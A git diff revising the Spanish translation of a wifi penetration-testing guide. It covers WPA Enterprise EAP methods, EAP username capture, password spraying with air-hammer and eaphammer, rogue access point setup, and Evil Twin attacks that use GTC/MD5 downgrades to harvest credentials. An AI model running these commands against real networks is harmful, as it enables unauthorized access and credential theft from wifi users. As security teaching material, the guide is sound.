-_Si esta herramienta encuentra un handshake incompleto de un ESSID antes que uno completo, no detectará el válido._
+_Si esta herramienta encuentra un apretón de manos incompleto de un ESSID antes que el completo, no detectará el válido._
**pyrit**
```bash
apt-get install pyrit #Not working for newer versions of kali
pyrit -r psk-01.cap analyze
```
-## **WPA Enterprise (MGT)**
+## **WPA Empresa (MGT)**
-**Es** importante hablar sobre los **diferentes métodos de autenticación** que podrían ser utilizados por una Wifi empresarial. Para este tipo de Wifis probablemente encontrarás en `airodump-ng` algo como esto:
+**Es** importante hablar sobre los **diferentes métodos de autenticación** que podrían ser utilizados por un Wifi empresarial. Para este tipo de Wifis probablemente encontrarás en `airodump-ng` algo como esto:
```
6A:FE:3B:73:18:FB -58 19 0 0 1 195 WPA2 CCMP MGT NameOfMyWifi
```
-**EAP** (Protocolo de Autenticación Extensible) es la **calavera** de la **comunicación de autenticación**, sobre esto, un **algoritmo de autenticación** es utilizado por el servidor para autenticar al **cliente** (**supplicant**) y en algunos casos por el cliente para autenticar al servidor.
+**EAP** (Extensible Authentication Protocol) es el **esqueleto** de la **comunicación de autenticación**, sobre esto, un **algoritmo de autenticación** es utilizado por el servidor para autenticar al **cliente** (**suplicante**) y en algunos casos por el cliente para autenticar al servidor.\
Principales algoritmos de autenticación utilizados en este caso:
-* **EAP-GTC:** Es un método EAP para soportar el uso de tokens de hardware y contraseñas de un solo uso con EAP-PEAP. Su implementación es similar a MSCHAPv2, pero no utiliza un desafío entre pares. En cambio, las contraseñas se envían al punto de acceso en **texto plano** (muy interesante para ataques de degradación).
-* **EAP-MD-5 (Digestión de Mensaje)**: El cliente envía el hash MD5 de la contraseña. **No recomendado**: Vulnerable a ataques de diccionario, no hay autenticación del servidor y no hay forma de generar claves de privacidad equivalentes al cableado (WEP) por sesión.
-* **EAP-TLS (Seguridad de la Capa de Transporte)**: Se basa en **certificados del lado del cliente y del servidor** para realizar la autenticación y se puede utilizar para generar dinámicamente claves WEP basadas en el usuario y la sesión para asegurar las comunicaciones subsiguientes.
-* **EAP-TTLS (Seguridad de la Capa de Transporte Tunelizada)**: **Autenticación mutua** del cliente y la red a través de un canal cifrado (o túnel), así como un medio para derivar claves WEP dinámicas, por usuario y por sesión. A diferencia de EAP-TLS, **EAP-TTLS solo requiere certificados del lado del servidor (el cliente usará credenciales)**.
-* **PEAP (Protocolo de Autenticación Extensible Protegido)**: PEAP es como el protocolo **EAP** pero creando un **túnel TLS** para proteger la comunicación. Luego, se pueden utilizar protocolos de autenticación débiles sobre EAP ya que estarán protegidos por el túnel.
-* **PEAP-MSCHAPv2**: Esto también se conoce simplemente como **PEAP** porque es ampliamente adoptado. Esto es solo el desafío/respuesta vulnerable llamado MSCHAPv2 sobre PEAP (está protegido por el túnel TLS).
+* **EAP-GTC:** Es un método EAP para soportar el uso de tokens de hardware y contraseñas de un solo uso con EAP-PEAP. Su implementación es similar a MSCHAPv2, pero no utiliza un desafío entre pares. En su lugar, las contraseñas se envían al punto de acceso en **texto plano** (muy interesante para ataques de degradación).
+* **EAP-MD-5 (Message Digest)**: El cliente envía el hash MD5 de la contraseña. **No recomendado**: Vulnerable a ataques de diccionario, sin autenticación del servidor y sin forma de generar claves de privacidad equivalentes al cableado (WEP) por sesión.
+* **EAP-TLS (Transport Layer Security)**: Se basa en **certificados del lado del cliente y del servidor** para realizar la autenticación y puede utilizarse para generar dinámicamente claves WEP basadas en usuario y sesión para asegurar comunicaciones posteriores.
+* **EAP-TTLS (Tunneled Transport Layer Security)**: **Autenticación mutua** del cliente y la red a través de un canal encriptado (o túnel), así como un medio para derivar claves WEP dinámicas, por usuario y por sesión. A diferencia de EAP-TLS, **EAP-TTLS solo requiere certificados del lado del servidor (el cliente usará credenciales)**.
+* **PEAP (Protected Extensible Authentication Protocol)**: PEAP es como el protocolo **EAP** pero creando un **túnel TLS** para proteger la comunicación. Luego, protocolos de autenticación débiles pueden ser utilizados sobre EAP ya que estarán protegidos por el túnel.
+* **PEAP-MSCHAPv2**: También conocido como solo **PEAP** porque es ampliamente adoptado. Este es simplemente el desafío/respuesta vulnerable llamado MSCHAPv2 sobre PEAP (está protegido por el túnel TLS).
* **PEAP-EAP-TLS o simplemente PEAP-TLS**: Es muy similar a **EAP-TLS** pero se crea un túnel TLS antes de que se intercambien los certificados.
-Puede encontrar más información sobre estos métodos de autenticación [aquí](https://en.wikipedia.org/wiki/Extensible_Authentication_Protocol) y [aquí](https://www.intel.com/content/www/us/en/support/articles/000006999/network-and-i-o/wireless-networking.html).
+Puedes encontrar más información sobre estos métodos de autenticación [aquí](https://en.wikipedia.org/wiki/Extensible\_Authentication\_Protocol)y [aquí](https://www.intel.com/content/www/us/en/support/articles/000006999/network-and-i-o/wireless-networking.html).
### Captura de Nombre de Usuario
-Leyendo [https://tools.ietf.org/html/rfc3748#page-27](https://tools.ietf.org/html/rfc3748#page-27) parece que si estás utilizando **EAP**, los **mensajes "Identity"** deben ser **soportados**, y el **nombre de usuario** va a ser enviado en **claro** en los mensajes **"Response Identity"**.
+Al leer [https://tools.ietf.org/html/rfc3748#page-27](https://tools.ietf.org/html/rfc3748#page-27) parece que si estás usando **EAP** los **mensajes de "Identidad"** deben ser **compatibles**, y el **nombre de usuario** se enviará en **texto claro** en los **mensajes de "Respuesta de Identidad"**.
-Incluso utilizando uno de los métodos de autenticación más seguros: **PEAP-EAP-TLS**, es posible **capturar el nombre de usuario enviado en el protocolo EAP**. Para hacerlo, **captura una comunicación de autenticación** (inicia `airodump-ng` dentro de un canal y `wireshark` en la misma interfaz) y filtra los paquetes por `eapol`.\
-Dentro del paquete "**Response, Identity**", aparecerá el **nombre de usuario** del cliente.
+Incluso al usar uno de los métodos de autenticación más seguros: **PEAP-EAP-TLS**, es posible **capturar el nombre de usuario enviado en el protocolo EAP**. Para hacerlo, **captura una comunicación de autenticación** (inicia `airodump-ng` en un canal y `wireshark` en la misma interfaz) y filtra los paquetes por `eapol`.\
+Dentro del paquete "**Respuesta, Identidad**", aparecerá el **nombre de usuario** del cliente.
![](<../../.gitbook/assets/image (150).png>)
### Identidades Anónimas
-(Información tomada de [https://www.interlinknetworks.com/app_notes/eap-peap.htm](https://www.interlinknetworks.com/app_notes/eap-peap.htm))
+El ocultamiento de identidad es compatible tanto con EAP-PEAP como con EAP-TTLS. En el contexto de una red WiFi, una solicitud de EAP-Identidad es típicamente iniciada por el punto de acceso (AP) durante el proceso de asociación. Para garantizar la protección del anonimato del usuario, la respuesta del cliente de EAP en el dispositivo del usuario contiene solo la información esencial requerida para que el servidor RADIUS inicial procese la solicitud. Este concepto se ilustra a través de los siguientes escenarios:
-Tanto **EAP-PEAP como EAP-TTLS soportan ocultación de identidad**. En un entorno WiFi, el punto de acceso (AP) generalmente genera una solicitud de identidad EAP como parte del proceso de asociación. Para preservar el anonimato, el cliente EAP en el sistema del usuario puede responder solo con la información suficiente para permitir que el primer servidor RADIUS procese la solicitud, como se muestra en los siguientes ejemplos.
+* EAP-Identidad = anónimo
-* _**EAP-Identity = anonymous**_
+- En este escenario, todos los usuarios emplean el seudónimo "anónimo" como su identificador de usuario. El servidor RADIUS inicial funciona como un servidor EAP-PEAP o EAP-TTLS, responsable de gestionar el lado del servidor del protocolo PEAP o TTLS. El método de autenticación interno (protegido) es manejado localmente o delegado a un servidor RADIUS remoto (de origen).
-> En este ejemplo, todos los usuarios compartirán el pseudo-nombre de usuario “anonymous”. El primer servidor RADIUS es un servidor EAP-PEAP o EAP-TTLS que impulsa el extremo del servidor del protocolo PEAP o TTLS. El tipo de autenticación interna (protegida) será entonces manejada localmente o proxy a un servidor RADIUS remoto (de origen).
+* EAP-Identidad = anónimo@reino_x
-* _**EAP-Identity = anonymous@realm_x**_
+- En esta situación, los usuarios de diferentes reinos ocultan sus identidades mientras indican sus respectivos reinos. Esto permite que el servidor RADIUS inicial redirija las solicitudes de EAP-PEAP o EAP-TTLS a servidores RADIUS en sus reinos de origen, que actúan como el servidor PEAP o TTLS. El servidor RADIUS inicial opera únicamente como un nodo de retransmisión RADIUS.
-> En este ejemplo, los usuarios pertenecientes a diferentes reinos ocultan su propia identidad pero indican a qué reino pertenecen para que el primer servidor RADIUS pueda proxy las solicitudes EAP-PEAP o EAP-TTLS a servidores RADIUS en sus reinos de origen que actuarán como el servidor PEAP o TTLS. El primer servidor actúa puramente como un nodo de retransmisión RADIUS.
->
-> Alternativamente, el primer servidor puede actuar como el servidor EAP-PEAP o EAP-TTLS y procesar el método de autenticación protegido o proxy a otro servidor. Esta opción puede ser utilizada para configurar diferentes políticas para diferentes reinos.
+- Alternativamente, el servidor RADIUS inicial puede funcionar como el servidor EAP-PEAP o EAP-TTLS y manejar el método de autenticación protegido o enviarlo a otro servidor. Esta opción facilita la configuración de políticas distintas para varios reinos.
-En EAP-PEAP, una vez que el servidor PEAP y el cliente PEAP establecen el túnel TLS, el servidor PEAP genera una solicitud de identidad EAP y la transmite a través del túnel TLS. El cliente responde a esta segunda solicitud de identidad EAP enviando una respuesta de identidad EAP que contiene la verdadera identidad del usuario a través del túnel cifrado. Esto evita que cualquier persona que espíe el tráfico 802.11 descubra la verdadera identidad del usuario.
+En EAP-PEAP, una vez que se establece el túnel TLS entre el servidor PEAP y el cliente PEAP, el servidor PEAP inicia una solicitud de EAP-Identidad y la transmite a través del túnel TLS. El cliente responde a esta segunda solicitud de EAP-Identidad enviando una respuesta de EAP-Identidad que contiene la verdadera identidad del usuario a través del túnel encriptado. Este enfoque evita efectivamente la revelación de la identidad real del usuario a cualquier persona que esté interceptando el tráfico 802.11.
-EAP-TTLS funciona ligeramente diferente. Con EAP-TTLS, el cliente típicamente se autentica a través de PAP o CHAP protegido por el túnel TLS. En este caso, el cliente incluirá un atributo de Nombre de Usuario y un atributo de Contraseña o CHAP-Contraseña en el primer mensaje TLS enviado después de que se establezca el túnel.
+EAP-TTLS sigue un procedimiento ligeramente diferente. Con EAP-TTLS, el cliente típicamente se autentica usando PAP o CHAP, asegurado por el túnel TLS. En este caso, el cliente incluye un atributo Nombre de Usuario y ya sea una Contraseña o un atributo de Contraseña CHAP en el mensaje TLS inicial enviado después del establecimiento del túnel.
-Con cualquiera de los protocolos, el servidor PEAP/TTLS aprende la verdadera identidad del usuario una vez que se ha establecido el túnel TLS. La verdadera identidad puede ser en la forma _**usuario@reino**_ o simplemente _**usuario**_. Si el servidor PEAP/TTLS también está autenticando al _**usuario**_, ahora conoce la identidad del usuario y procede con el método de autenticación que está siendo protegido por el túnel TLS. Alternativamente, el servidor PEAP/TTLS puede reenviar una nueva solicitud RADIUS al servidor RADIUS de origen del usuario. Esta nueva solicitud RADIUS tiene el protocolo PEAP o TTLS eliminado. Si el método de autenticación protegido es EAP, los mensajes EAP internos se transmiten al servidor RADIUS de origen sin el envoltorio EAP-PEAP o EAP-TTLS. El atributo de Nombre de Usuario del mensaje RADIUS saliente contiene la verdadera identidad del usuario, no la identidad anónima del atributo de Nombre de Usuario del mensaje RADIUS entrante. Si el método de autenticación protegido es PAP o CHAP (solo soportado por TTLS), el Nombre de Usuario y otros atributos de autenticación recuperados del contenido TLS se colocan en el mensaje RADIUS saliente en lugar del Nombre de Usuario anónimo y los atributos de Mensaje EAP-TTLS incluidos en la solicitud RADIUS entrante.
+Independientemente del protocolo elegido, el servidor PEAP/TTLS obtiene conocimiento de la verdadera identidad del usuario después de que se haya establecido el túnel TLS. La verdadera identidad puede representarse como usuario@reino o simplemente usuario. Si el servidor PEAP/TTLS también es responsable de autenticar al usuario, ahora posee la identidad del usuario y procede con el método de autenticación protegido por el túnel TLS. Alternativamente, el servidor PEAP/TTLS puede reenviar una nueva solicitud RADIUS al servidor RADIUS de origen del usuario. Esta nueva solicitud RADIUS omite la capa de protocolo PEAP o TTLS. En casos donde el método de autenticación protegido es EAP, los mensajes EAP internos se transmiten al servidor RADIUS de origen sin el envoltorio EAP-PEAP o EAP-TTLS. El atributo Nombre de Usuario del mensaje RADIUS saliente contiene la verdadera identidad del usuario, reemplazando el Nombre de Usuario anónimo del mensaje RADIUS entrante. Cuando el método de autenticación protegido es PAP o CHAP (soportado solo por TTLS), el Nombre de Usuario y otros atributos de autenticación extraídos de la carga útil TLS se sustituyen en el mensaje RADIUS saliente, desplazando el Nombre de Usuario anónimo y los atributos de Mensaje EAP de TTLS encontrados en la solicitud RADIUS entrante.
-### EAP-Bruteforce (ataque de fuerza bruta con contraseñas comunes)
+Para más información, consulta [https://www.interlinknetworks.com/app\_notes/eap-peap.htm](https://www.interlinknetworks.com/app\_notes/eap-peap.htm)
-Si se espera que el cliente utilice un **nombre de usuario y contraseña** (nota que **EAP-TLS no será válido** en este caso), entonces podrías intentar obtener una **lista** de **nombres de usuario** (ver la siguiente parte) y **contraseñas** e intentar **fuerza bruta** el acceso utilizando [**air-hammer**](https://github.com/Wh1t3Rh1n0/air-hammer)**.**
+
+### EAP-Bruteforce (password spray)
+
+Si se espera que el cliente use un **nombre de usuario y contraseña** (nota que **EAP-TLS no será válido** en este caso), entonces podrías intentar obtener una **lista** de **nombres de usuario** (ver la siguiente parte) y **contraseñas** e intentar **bruteforce** el acceso usando [**air-hammer**](https://github.com/Wh1t3Rh1n0/air-hammer)**.**
```bash
./air-hammer.py -i wlan0 -e Test-Network -P UserPassword1 -u usernames.txt
```
-También podrías realizar este ataque utilizando `eaphammer`:
+También puedes realizar este ataque utilizando `eaphammer`:
```bash
./eaphammer --eap-spray \
--interface-pool wlan0 wlan1 wlan2 wlan3 wlan4 \
@@ -443,39 +444,39 @@ También podrías realizar este ataque utilizando `eaphammer`:
--password bananas \
--user-list users.txt
```
-## Ataques a clientes Teoría
+## Ataques a clientes: Teoría
-### Selección de Red y Roaming
+### Selección de red y roaming
-Aunque el protocolo 802.11 tiene reglas muy específicas que dictan cómo una estación puede unirse a un ESS, no especifica cómo la estación debe seleccionar un ESS para conectarse. Además, el protocolo permite que las estaciones se desplacen libremente entre puntos de acceso que comparten el mismo ESSID (porque no querrías perder la conectividad WiFi al caminar de un extremo a otro de un edificio, etc). Sin embargo, el protocolo 802.11 no especifica cómo se deben seleccionar estos puntos de acceso. Además, aunque las estaciones deben estar autenticadas al ESS para asociarse con un punto de acceso, el protocolo 802.11 no requiere que el punto de acceso esté autenticado a la estación.
+Aunque el protocolo 802.11 tiene reglas muy específicas que dictan cómo una estación puede unirse a un ESS, no especifica cómo la estación debe seleccionar un ESS al que conectarse. Además, el protocolo permite a las estaciones moverse libremente entre puntos de acceso que comparten el mismo ESSID (porque no querrías perder la conectividad WiFi al caminar de un extremo de un edificio a otro, etc). Sin embargo, el protocolo 802.11 no especifica cómo se deben seleccionar estos puntos de acceso. Además, aunque las estaciones deben autenticarse en el ESS para asociarse con un punto de acceso, el protocolo 802.11 no requiere que el punto de acceso se autentique en la estación.
-### Listas de Redes Preferidas (PNLs)
+### Listas de Redes Preferidas (PNL)
-Cada vez que una estación se conecta a una red inalámbrica, el ESSID de la red se almacena en la Lista de Redes Preferidas (PNL) de la estación. La PNL es una lista ordenada de todas las redes a las que la estación se ha conectado en el pasado, y cada entrada en la PNL contiene el ESSID de la red y cualquier información de configuración específica de la red necesaria para establecer una conexión.
+Cada vez que una estación se conecta a una red inalámbrica, el ESSID de la red se almacena en la Lista de Redes Preferidas (PNL) de la estación. La PNL es una lista ordenada de cada red a la que la estación se ha conectado en el pasado, y cada entrada en la PNL contiene el ESSID de la red y cualquier información de configuración específica de la red necesaria para establecer una conexión.
### Escaneo Pasivo
-En redes de infraestructura, los puntos de acceso transmiten periódicamente tramas de baliza para anunciar su presencia y capacidades a las estaciones cercanas. Las balizas son tramas de difusión, lo que significa que están destinadas a ser recibidas por todas las estaciones cercanas dentro del alcance. Las balizas incluyen información sobre las tasas compatibles del AP, capacidades de cifrado, información adicional y, lo más importante, las tramas de baliza contienen el ESSID del AP (siempre que la difusión del ESSID no esté desactivada).
+En redes de infraestructura, los puntos de acceso transmiten periódicamente tramas de balizas para anunciar su presencia y capacidades a las estaciones cercanas. Las balizas son tramas de difusión, lo que significa que están destinadas a ser recibidas por todas las estaciones cercanas en rango. Las balizas incluyen información sobre las tasas admitidas por el AP, capacidades de cifrado, información adicional y, lo más importante, las balizas contienen el ESSID del AP (si la difusión de ESSID no está desactivada).
-Durante el escaneo pasivo, el dispositivo cliente escucha tramas de baliza de puntos de acceso cercanos. Si el dispositivo cliente recibe una trama de baliza cuyo campo ESSID coincide con un ESSID de la PNL del cliente, el cliente se conectará automáticamente al punto de acceso que envió la trama de baliza. Luego, supongamos que queremos dirigirnos a un dispositivo inalámbrico que actualmente no está conectado a ninguna red inalámbrica. Si conocemos al menos una entrada en la PNL de ese cliente, podemos forzar al cliente a conectarse con nosotros simplemente creando nuestro propio punto de acceso con el ESSID de esa entrada.
+Durante el escaneo pasivo, el dispositivo cliente escucha las tramas de balizas de los puntos de acceso cercanos. Si el dispositivo cliente recibe una trama de baliza cuyo campo ESSID coincide con un ESSID de la PNL del cliente, el cliente se conectará automáticamente al punto de acceso que envió la trama de baliza. Entonces, supongamos que queremos atacar un dispositivo inalámbrico que no está conectado actualmente a ninguna red inalámbrica. Si conocemos al menos una entrada en la PNL de ese cliente, podemos forzar al cliente a conectarse a nosotros simplemente creando nuestro propio punto de acceso con el ESSID de esa entrada.
### Sondeo Activo
-El segundo algoritmo de selección de red utilizado en 802.11 se conoce como Sondeo Activo. Los dispositivos clientes que utilizan sondeo activo transmiten continuamente tramas de solicitud de sondeo para determinar qué AP están al alcance, así como cuáles son sus capacidades. Las solicitudes de sondeo vienen en dos formas: dirigidas y de difusión. Las solicitudes de sondeo dirigidas están dirigidas a un ESSID específico y son la forma en que el cliente verifica si una red específica está cerca.
+El segundo algoritmo de selección de red utilizado en 802.11 se conoce como Sondeo Activo. Los dispositivos clientes que utilizan el sondeo activo transmiten continuamente tramas de solicitud de sondeo para determinar qué AP están dentro del rango, así como cuáles son sus capacidades. Las solicitudes de sondeo vienen en dos formas: dirigidas y de difusión. Las solicitudes de sondeo dirigidas están dirigidas a un ESSID específico, y son la forma en que el cliente comprueba si una red específica está cerca.
-Los clientes que utilizan sondeo dirigido enviarán solicitudes de sondeo para cada red en su PNL. Cabe señalar que el sondeo dirigido es la única forma de identificar la presencia de redes ocultas cercanas. Las solicitudes de sondeo de difusión funcionan casi exactamente de la misma manera, pero se envían con el campo SSID establecido en NULL. Esto dirige la solicitud de sondeo de difusión a todos los puntos de acceso cercanos, permitiendo que la estación verifique si alguna de sus redes preferidas está cerca sin revelar el contenido de su PNL.
+Los clientes que utilizan el sondeo dirigido enviarán solicitudes de sondeo para cada red en su PNL. Cabe destacar que el sondeo dirigido es la única forma de identificar la presencia de redes ocultas cercanas. Las solicitudes de sondeo de difusión funcionan casi exactamente de la misma manera, pero se envían con el campo SSID configurado en NULL. Esto dirige la solicitud de sondeo a todos los puntos de acceso cercanos, permitiendo a la estación verificar si alguna de sus redes preferidas está cerca sin revelar el contenido de su PNL.
-## AP Simple con redirección a Internet
+## AP simple con redirección a Internet
-Antes de explicar cómo realizar ataques más complejos, se explicará **cómo** simplemente **crear** un **AP** y **redirigir** su **tráfico** a una interfaz conectada **a** la **Internet**.
+Antes de explicar cómo realizar ataques más complejos, se va a explicar **cómo** simplemente **crear** un **AP** y **redirigir** su **tráfico** a una interfaz conectada **a** **Internet**.
-Usando `ifconfig -a` verifica que la interfaz wlan para crear el AP y la interfaz conectada a Internet estén presentes.
+Usando `ifconfig -a`, verifica que la interfaz wlan para crear el AP y la interfaz conectada a Internet estén presentes.
### DHCP & DNS
```bash
apt-get install dnsmasq #Manages DHCP and DNS
```
-crear un archivo de configuración _/etc/dnsmasq.conf_ de la siguiente manera:
+Crear un archivo de configuración _/etc/dnsmasq.conf_ de la siguiente manera:
```
interface=wlan0
dhcp-authoritative
@@ -487,12 +488,12 @@ log-queries
log-dhcp
listen-address=127.0.0.1
```
-Entonces **establece IPs** y **rutas**:
+Luego **configura las IPs** y las **rutas**:
```
ifconfig wlan0 up 192.168.1.1 netmask 255.255.255.0
route add -net 192.168.1.0 netmask 255.255.255.0 gw 192.168.1.1
```
-Y luego **inicia** dnsmasq:
+Y luego **inicie** dnsmasq:
```
dnsmasq -C dnsmasq.conf -d
```
@@ -518,7 +519,7 @@ wpa_group_rekey=86400
ieee80211n=1
wme_enabled=1
```
-**Detener procesos molestos**, establecer **modo monitor** e **iniciar hostapd**:
+**Detener procesos molestos**, establecer **modo monitor** y **iniciar hostapd**:
```
airmon-ng check kill
iwconfig wlan0 mode monitor
@@ -533,17 +534,17 @@ echo 1 > /proc/sys/net/ipv4/ip_forward
```
## Evil Twin
-Un ataque Evil Twin es un tipo de ataque Wi-Fi que se aprovecha del hecho de que la mayoría de las computadoras y teléfonos solo verán el "nombre" o ESSID de una red inalámbrica (ya que la estación base no está obligada a autenticarse contra el cliente). Esto realmente hace que sea muy difícil distinguir entre redes con el mismo nombre y el mismo tipo de cifrado. De hecho, muchas redes tendrán varios puntos de acceso que extienden la red, todos usando el mismo nombre para expandir el acceso sin confundir a los usuarios.
+Un ataque de evil twin es un tipo de ataque Wi-Fi que aprovecha el hecho de que la mayoría de las computadoras y teléfonos solo verán el "nombre" o ESSID de una red inalámbrica (ya que la estación base no necesita autenticarse contra el cliente). Esto hace que sea muy difícil distinguir entre redes con el mismo nombre y el mismo tipo de cifrado. De hecho, muchas redes tendrán varios puntos de acceso que extienden la red, todos usando el mismo nombre para ampliar el acceso sin confundir a los usuarios.
-Debido a cómo funciona la implementación de los clientes (recuerda que el protocolo 802.11 permite que las estaciones se desplacen libremente entre puntos de acceso dentro del mismo ESS), es posible hacer que un dispositivo cambie la estación base a la que está conectado. Es posible hacerlo ofreciendo una mejor señal (lo cual no siempre es posible) o bloqueando el acceso a la estación base original (paquetes de desautenticación, interferencias o alguna otra forma de ataque DoS).
+Debido a cómo funcionan los clientes (recuerda que el protocolo 802.11 permite a las estaciones moverse libremente entre puntos de acceso dentro del mismo ESS), es posible hacer que un dispositivo cambie la estación base a la que está conectado. Esto se puede lograr ofreciendo una mejor señal (lo cual no siempre es posible) o bloqueando el acceso a la estación base original (paquetes de desautenticación, interferencia, u otra forma de ataque de denegación de servicio).
-También ten en cuenta que las implementaciones inalámbricas en el mundo real suelen tener más de un punto de acceso, y estos puntos de acceso a menudo son más potentes y tienen un mejor alcance de línea de vista debido a su colocación hacia el techo. Desautenticar un solo punto de acceso generalmente resulta en que el objetivo se desplace hacia otro punto de acceso válido en lugar de tu AP falso, a menos que todos los puntos de acceso cercanos sean desautenticados (ruidoso) o seas muy cuidadoso con la colocación del AP falso (difícil).
+También ten en cuenta que las implementaciones inalámbricas del mundo real suelen tener más de un solo punto de acceso, y estos puntos de acceso suelen ser más potentes y tener un mejor alcance visual debido a su ubicación hacia el techo. Desautenticar un solo punto de acceso generalmente resulta en que el objetivo se mueva hacia otro punto de acceso válido en lugar de tu AP falso, a menos que se desautentiquen todos los puntos de acceso cercanos (ruidoso) o tengas mucho cuidado con la ubicación del AP falso (difícil).
-Puedes crear un Evil Twin Open muy básico (sin capacidad para enrutar tráfico a Internet) haciendo:
+Puedes crear un Evil Twin Abierto muy básico (sin capacidades para enrutar tráfico a Internet) haciendo:
```bash
airbase-ng -a 00:09:5B:6F:64:1E --essid "Elroy" -c 1 wlan0mon
```
-También podrías crear un Gemelo Maligno utilizando **eaphammer** (ten en cuenta que para crear gemelos malignos con eaphammer la interfaz **NO debe estar** en modo **monitor**):
+También puedes crear un Evil Twin usando **eaphammer** (ten en cuenta que para crear evil twins con eaphammer la interfaz **NO debe estar** en modo **monitor**):
```
./eaphammer -i wlan0 --essid exampleCorp --captive-portal
```
@@ -551,28 +552,28 @@ O utilizando Airgeddon: `Opciones: 5,6,7,8,9 (dentro del menú de ataque Evil Tw
![](<../../.gitbook/assets/image (148).png>)
-Por favor, ten en cuenta que por defecto si un ESSID en la PNL está guardado como protegido por WPA, el dispositivo no se conectará automáticamente a un Evil Twin abierto. Puedes intentar hacer DoS al AP real y esperar que el usuario se conecte manualmente a tu Evil Twin abierto, o podrías hacer DoS al AP real y usar un Evil Twin con WPA para capturar el handshake (usando este método no podrás permitir que la víctima se conecte a ti ya que no conoces el PSK, pero puedes capturar el handshake e intentar descifrarlo).
+Por favor, ten en cuenta que por defecto, si un ESSID en la PNL está guardado como protegido con WPA, el dispositivo no se conectará automáticamente a un Evil Twin abierto. Puedes intentar realizar un DoS al AP real y esperar a que el usuario se conecte manualmente a tu Evil Twin abierto, o podrías realizar un DoS al AP real y usar un Evil Twin con WPA para capturar el handshake (usando este método no podrás permitir que la víctima se conecte a ti ya que no conoces la PSK, pero puedes capturar el handshake e intentar crackearlo).
_Algunos sistemas operativos y antivirus advertirán al usuario que conectarse a una red abierta es peligroso..._
### Evil Twin WPA/WPA2
-Puedes crear un **Evil Twin usando WPA/2** y si los dispositivos están configurados para conectarse a ese SSID con WPA/2, intentarán conectarse. De todos modos, **para completar el 4-way-handshake** también necesitas **conocer** la **contraseña** que el cliente va a usar. Si **no la conoces**, la **conexión no se completará**.
+Puedes crear un **Evil Twin utilizando WPA/2** y si los dispositivos están configurados para conectarse a ese SSID con WPA/2, intentarán conectarse. De todas formas, **para completar el handshake de 4 vías** también necesitas **saber** la **contraseña** que el cliente va a utilizar. Si **no la conoces**, la **conexión no se completará**.
```
./eaphammer -i wlan0 -e exampleCorp -c 11 --creds --auth wpa-psk --wpa-passphrase "mywifipassword"
```
-### Gemelo Malvado Empresarial
+### Evil Twin Empresarial
-Para entender estos ataques, recomendaría leer primero la breve [explicación de WPA Enterprise](./#wpa-enterprise-mgt).
+Para comprender estos ataques, recomendaría leer primero la breve [explicación de WPA Enterprise](./#wpa-enterprise-mgt).
**Usando hostapd-wpe**
-`hostapd-wpe` necesita un archivo de **configuración** para funcionar. Para **automatizar** la generación de estas configuraciones podrías usar [https://github.com/WJDigby/apd_launchpad](https://github.com/WJDigby/apd_launchpad) (descarga el archivo python dentro de _/etc/hostapd-wpe/_)
+`hostapd-wpe` necesita un archivo de **configuración** para funcionar. Para **automatizar** la generación de estas configuraciones, puedes utilizar [https://github.com/WJDigby/apd\_launchpad](https://github.com/WJDigby/apd\_launchpad) (descarga el archivo python dentro de _/etc/hostapd-wpe/_).
```
./apd_launchpad.py -t victim -s PrivateSSID -i wlan0 -cn company.com
hostapd-wpe ./victim/victim.conf -s
```
-En el archivo de configuración puedes seleccionar una gran variedad de cosas como ssid, canal, archivos de usuario, cret/key, parámetros dh, versión wpa y autenticación...
+En el archivo de configuración puedes seleccionar muchas cosas diferentes como ssid, canal, archivos de usuario, cret/key, parámetros dh, versión de wpa y autenticación...
[**Usando hostapd-wpe con EAP-TLS para permitir que cualquier certificado inicie sesión.**](evil-twin-eap-tls.md)
@@ -584,51 +585,51 @@ En el archivo de configuración puedes seleccionar una gran variedad de cosas co
# Launch Attack
./eaphammer -i wlan0 --channel 4 --auth wpa-eap --essid CorpWifi --creds
```
-Por defecto, EAPHammer utiliza estos métodos de autenticación (observa GTC como el primero en intentar obtener contraseñas en texto plano y luego el uso de métodos de autenticación más robustos):
+Por defecto, EAPHammer utiliza estos métodos de autenticación (nota GTC como el primero en intentar obtener contraseñas en texto plano y luego el uso de métodos de autenticación más robustos):
```
GTC,MSCHAPV2,TTLS-MSCHAPV2,TTLS,TTLS-CHAP,TTLS-PAP,TTLS-MSCHAP,MD5
```
-Esta es la metodología predeterminada para evitar tiempos de conexión prolongados. Sin embargo, también puedes especificar al servidor los métodos de autenticación de más débil a más fuerte:
+Este es el método predeterminado para evitar tiempos de conexión largos. Sin embargo, también puedes especificar al servidor los métodos de autenticación de más débiles a más fuertes:
```
--negotiate weakest
```
-O también podrías usar:
+O también puedes usar:
-* `--negotiate gtc-downgrade` para usar la implementación de degradación GTC altamente eficiente (contraseñas en texto plano)
-* `--negotiate manual --phase-1-methods PEAP,TTLS --phase-2-methods MSCHAPV2,GTC,TTLS-PAP` para especificar manualmente los métodos ofrecidos (ofreciendo los mismos métodos de autenticación en el mismo orden que la organización el ataque será mucho más difícil de detectar).
-* [Encuentra más información en la wiki](http://solstice.sh/wireless/eaphammer/2019/09/10/eap-downgrade-attacks/)
+* `--negotiate gtc-downgrade` para utilizar una implementación de degradación GTC altamente eficiente (contraseñas en texto plano)
+* `--negotiate manual --phase-1-methods PEAP,TTLS --phase-2-methods MSCHAPV2,GTC,TTLS-PAP` para especificar manualmente los métodos ofrecidos (ofrecer los mismos métodos de autenticación en el mismo orden que la organización hará que el ataque sea mucho más difícil de detectar).
+* [Encuentra más información en el wiki](http://solstice.sh/wireless/eaphammer/2019/09/10/eap-downgrade-attacks/)
**Usando Airgeddon**
-`Airgeddon` puede usar certificados previamente generados para ofrecer autenticación EAP a redes WPA/WPA2-Enterprise. La red falsa degradará el protocolo de conexión a EAP-MD5 para poder **capturar el usuario y el MD5 de la contraseña**. Luego, el atacante puede intentar descifrar la contraseña.\
-`Airggedon` te ofrece la posibilidad de un ataque **Evil Twin continuo (ruidoso)** o **solo crear el ataque Evil Twin hasta que alguien se conecte (suave).**
+`Airgeddon` puede utilizar certificados previamente generados para ofrecer autenticación EAP a redes WPA/WPA2-Enterprise. La red falsa degradará el protocolo de conexión a EAP-MD5 para poder **capturar al usuario y el MD5 de la contraseña**. Posteriormente, el atacante puede intentar descifrar la contraseña.\
+`Airggedon` te ofrece la posibilidad de un ataque de Evil Twin **continuo (ruidoso)** o **solo crear el ataque Evil hasta que alguien se conecte (discreto).**
![](<../../.gitbook/assets/image (129).png>)
-### Depuración de túneles TLS PEAP y EAP-TTLS en ataques Evil Twins
+### Depuración de túneles TLS PEAP y EAP-TTLS en ataques de Evil Twins
